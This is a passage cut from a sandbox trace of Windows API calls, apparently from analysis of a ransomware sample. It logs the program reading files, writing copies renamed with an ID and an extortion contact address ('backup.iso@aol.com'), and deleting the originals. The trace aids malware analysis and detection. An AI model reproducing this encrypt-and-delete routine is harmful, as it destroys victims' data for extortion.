nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x232d0, lpOverlapped=0x0) returned 1 [0089.037] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0089.037] CloseHandle (hObject=0x308) returned 1 [0089.037] CloseHandle (hObject=0x304) returned 1 [0089.045] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0089.048] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0089.050] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=307) returned 1 [0089.050] CloseHandle (hObject=0x304) returned 1 [0089.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0089.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0089.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0089.050] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0089.050] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0089.050] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0089.051] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0089.051] ReadFile (in: hFile=0x304, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x133, lpOverlapped=0x0) returned 1 [0089.054] WriteFile (in: hFile=0x308, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x140, lpOverlapped=0x0) returned 1 [0089.055] WriteFile (in: hFile=0x308, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0089.058] CloseHandle (hObject=0x304) returned 1 [0089.058] CloseHandle (hObject=0x308) returned 1 [0089.060] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0089.061] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0089.062] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=129) returned 1 [0089.062] CloseHandle (hObject=0x308) returned 1 [0089.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0089.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0089.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0089.062] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0089.062] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0089.062] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0089.062] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x304 [0089.064] ReadFile (in: hFile=0x308, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x81, lpOverlapped=0x0) returned 1 [0089.065] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x90, lpOverlapped=0x0) returned 1 [0089.066] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0089.067] CloseHandle (hObject=0x308) returned 1 [0089.067] CloseHandle (hObject=0x304) returned 1 [0089.069] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0091.274] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0091.274] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=74214) returned 1 [0091.274] CloseHandle (hObject=0x324) returned 1 [0091.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0091.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0091.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0091.275] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0091.275] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0091.275] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0091.275] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0091.276] ReadFile (in: hFile=0x324, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x121e6, lpOverlapped=0x0) returned 1 [0091.283] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x121f0, lpOverlapped=0x0) returned 1 [0091.288] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0091.288] CloseHandle (hObject=0x324) returned 1 [0091.289] CloseHandle (hObject=0x304) returned 1 [0091.293] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0091.296] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0091.298] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=17240) returned 1 [0091.298] CloseHandle (hObject=0x304) returned 1 [0091.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0091.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0091.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0091.299] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0091.299] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0091.299] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0091.299] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0091.300] ReadFile (in: hFile=0x304, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x4358, lpOverlapped=0x0) returned 1 [0091.303] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x4360, lpOverlapped=0x0) returned 1 [0091.305] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0091.305] CloseHandle (hObject=0x304) returned 1 [0091.306] CloseHandle (hObject=0x324) returned 1 [0091.806] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0092.254] SetEvent (hEvent=0x2cc) returned 1 [0092.259] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0092.260] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=14168) returned 1 [0092.260] CloseHandle (hObject=0x324) returned 1 [0092.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0092.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0092.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0092.261] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0092.261] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0092.261] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0092.261] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0092.262] ReadFile (in: hFile=0x324, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x3758, lpOverlapped=0x0) returned 1 [0092.294] WriteFile (in: hFile=0x32c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x3760, lpOverlapped=0x0) returned 1 [0092.297] WriteFile (in: hFile=0x32c, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0092.297] CloseHandle (hObject=0x324) returned 1 [0092.297] CloseHandle (hObject=0x32c) returned 1 [0092.301] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1 [0092.303] SetEvent (hEvent=0x2cc) returned 1 [0092.304] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0092.322] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=80970) returned 1 [0092.322] CloseHandle (hObject=0x320) returned 1 [0092.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0092.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0092.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0092.322] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0092.323] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0092.323] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0092.323] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0092.323] ReadFile (in: hFile=0x320, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x13c4a, lpOverlapped=0x0) returned 1 [0092.352] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x13c50, lpOverlapped=0x0) returned 1 [0092.356] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0092.356] CloseHandle (hObject=0x320) returned 1 [0092.356] CloseHandle (hObject=0x330) returned 1 [0092.633] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0092.635] SetEvent (hEvent=0x2cc) returned 1 [0092.636] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0094.897] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=77748) returned 1 [0094.897] CloseHandle (hObject=0x330) returned 1 [0094.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0094.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0094.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0094.898] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0094.898] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0094.898] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0094.898] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0094.899] ReadFile (in: hFile=0x330, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x12fb4, lpOverlapped=0x0) returned 1 [0094.903] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x12fc0, lpOverlapped=0x0) returned 1 [0094.906] WriteFile (in: hFile=0x310, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0094.907] CloseHandle (hObject=0x330) returned 1 [0094.907] CloseHandle (hObject=0x310) returned 1 [0094.915] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0094.917] SetEvent (hEvent=0x2cc) returned 1 [0094.918] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0094.919] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=18264) returned 1 [0094.919] CloseHandle (hObject=0x310) returned 1 [0094.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0094.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0094.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0094.919] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0094.919] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0094.919] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0094.919] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0094.920] ReadFile (in: hFile=0x310, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x4758, lpOverlapped=0x0) returned 1 [0094.922] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x4760, lpOverlapped=0x0) returned 1 [0094.924] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0094.924] CloseHandle (hObject=0x310) returned 1 [0094.924] CloseHandle (hObject=0x330) returned 1 [0095.352] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: 